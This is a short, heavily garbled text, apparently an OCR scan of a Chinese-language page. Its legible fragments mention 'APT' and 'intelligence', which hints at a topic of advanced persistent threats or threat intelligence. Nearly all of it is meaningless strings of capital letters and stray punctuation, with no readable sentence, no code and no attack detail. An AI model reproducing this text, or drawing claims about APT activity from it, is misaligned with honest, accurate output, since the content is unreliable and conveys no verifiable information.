SRR AURSBABERRL, LESREREIE APT AREMHUKEHE | nteligence’, tid"
HTEMUOTARE, FNREHRETLH APT MR MAILERIERNE jmg::ji]'tech”‘q“e‘:
MER, HMNEHEFNANNLEDSE APT RNELERBDARREESE, &
REERSHANTEAR, BMARALHRNEAESHEN TP, REERIR
ERBENE, ANSRAMNFERRSHEHTRIAITESHE.




